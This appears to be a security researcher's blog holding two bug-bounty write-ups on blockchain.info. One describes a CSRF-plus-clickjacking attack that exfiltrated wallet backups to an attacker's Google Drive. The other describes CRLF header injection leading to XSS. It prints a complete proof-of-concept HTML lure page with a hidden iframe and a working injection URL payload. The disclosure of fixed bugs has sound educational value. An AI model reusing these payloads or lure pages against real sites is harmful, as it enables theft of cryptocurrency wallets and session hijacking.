Saturday, 11 November 2017

Stealing bitcoin wallet backups from blockchain.info

Oauth, where many bugs arises :)

This was one of my finding for the bugbounty program of blockchain.info where  I was able to steal anyones bitcoin wallet backup of their blockchain.info account with negligible user interaction.


If you want to know what was this wallet backup feature meant for, you can check here

https://blog.blockchain.com/2014/06/12/tutorial-backup-basics-the-best-ways-to-backup-your-blockchain-wallet/

[P.S This feature has been removed after the bug was reported. Sad! ]

So basically it created a json file which was the backup of your account which you could
Download , Email yourself , or store it directly on your Gdrive and Dropbox accounts. The bad part was that if someone else gets your JSON file he can simply import it at blockchain.info and steal all your bitcoins from your account.



Now the bug was in the implementation of storing it directly to Dropbox and Google Drive .


I noticed once you click on Dropbox or Gdrive button you will be asked to login with your google or dropbox account and once its authorised blockchain will automatically store the backup file in the your dropbox or Gdrive using your access token.


When I looked more closely at all the requests , I found that if someone makes a Gdrive authentication at the end the redirect URI was something like this


https://blockchain.info/wallet/gdrive-update?code={YourGdriveToken}



Noticed something bad ? No csrf token yayy!!!!


So all I had to do was
1) authenticate my google account at blockchain.info
2) Grab my drive token
3) Send the below link to a victim.
https://blockchain.info/wallet/gdrive-update?code={MYGdriveToken}
4) Once the link is clicked, when the victim is logged in into his bitcoin wallet backup will be stored in my gdrive account

But a normal csrf is boring . So clickjacking will serve as a catalyst for our attack :)

Although the complete website has clickjacing protection but this URL was iframeable .


So final POC

<html>
<head>
<title>Some fancy bitcoin lottery page</title>
</head>
<body>
<p>You won a lottery just open this page when you are logged in to blockchain.info and amount will be credited to you </p>
<iframe sandbox="allow-scripts allow-forms" src="https://blockchain.info/wallet/gdrive-update?code={Attackers Gdrive Token}" style="width:1%;height:1%"></iframe>
</body>
</html>

Once the victim lands on the page,  a hiding iframe will be loaded and the wallet will be stored on the attackers gdrive.

Bounty ?
Yes

1600$



They fixed the bug very quickly and indeed blockchain.info takes care of their security very seriously. Unfortunately after reporting this issue they took down the backup feature forever . Sorry for breaking the backup feature .

Cheers
Shashank :)





Sunday, 5 November 2017

CRLF injection in blockchain.info

This bug was reported by me to "Blockchain.info" for their bugbounty program.

For those who don't know about blockchain.info

"Blockchain.info is one of the world's most popular Bitcoin wallet and provides detailed information and charts on all Bitcoin transactions and blocks"

Understanding CRLF injection 

CRLF is CR(Carriage Return) and LF (Lined Feed or New Line) which is a non-prinatble ASCII character CR (ASCII value 13 also \r) and LF (ASCII value 10 also \n)




Now lets understand how CRLF is used in HTTP requests

When ever we click on a website or just open a website or do anything a request is generated from your browser and a response is sent back from the server to you which in turn displays us the website.

For example when we request blog.shashank.co in our browser. An HTTP request is sent
http://blog.shashank.co/
GET / HTTP/1.1
Host: blog.shashank.co
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

And a response is sent from the server

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Tue, 31 Oct 2017 14:28:13 GMT
Date: Tue, 31 Oct 2017 14:28:13 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 13871
Server: GSE
<HERE IS THE WEBSITE BODY> 

For people who are unaware how I dumped these headers you can simply download "LiveHTTPHeader" plugin for Firefox browser . Or simply open inspect element in your browser and click on the "network tabs" to view how all the requests are being sent while you are browsing though any website.



Now every line in an HTTP header is separated by a CRLF (as said it is non printable ASCII character).  So its something like this


GET / HTTP/1.1 [CRLF]
Host: blog.shashank.co [CRLF]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: en-US,en;q=0.5 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]
Connection: keep-alive [CRLF]
Upgrade-Insecure-Requests: 1 [CRLF]

HTTP/1.1 200 OK [CRLF]
Content-Type: text/html; charset=UTF-8 [CRLF]
Expires: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Date: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Cache-Control: private, max-age=0 [CRLF]
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT [CRLF]
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip [CRLF]
X-Content-Type-Options: nosniff [CRLF]
X-XSS-Protection: 1; mode=block [CRLF]
Content-Length: 13871 [CRLF]
Server: GSE [CRLF] [CRLF]

<HERE IS THE BODY>

The bug 

 While I was going through the website I found a place where I can download charts data in json and csv format.

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en

The last parameter "lang=en" . I thought of playing with it and changed it to "lang=english"

I noticed that the response header had a difference

GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
<removed>

Ok so , the "lang" parameter is being reflected in the "content-language" header . Now the next step was to check for "CRLF" injection if we can add a CRLF and create our own response headers.

Now in order to inject a CRLF we have to URL encode it. So the URL encode of \r\n is  "%0D%0A"

Upon sending a request

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
A new header was found in the response as TEST

So there is a CRLF injection!! . Now since a request also contain response body we can even execute javascript code (cross site scripting) to steal cookies or frame a phishing page


So the final payload

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI


Or  a phishing page







Reward 1600$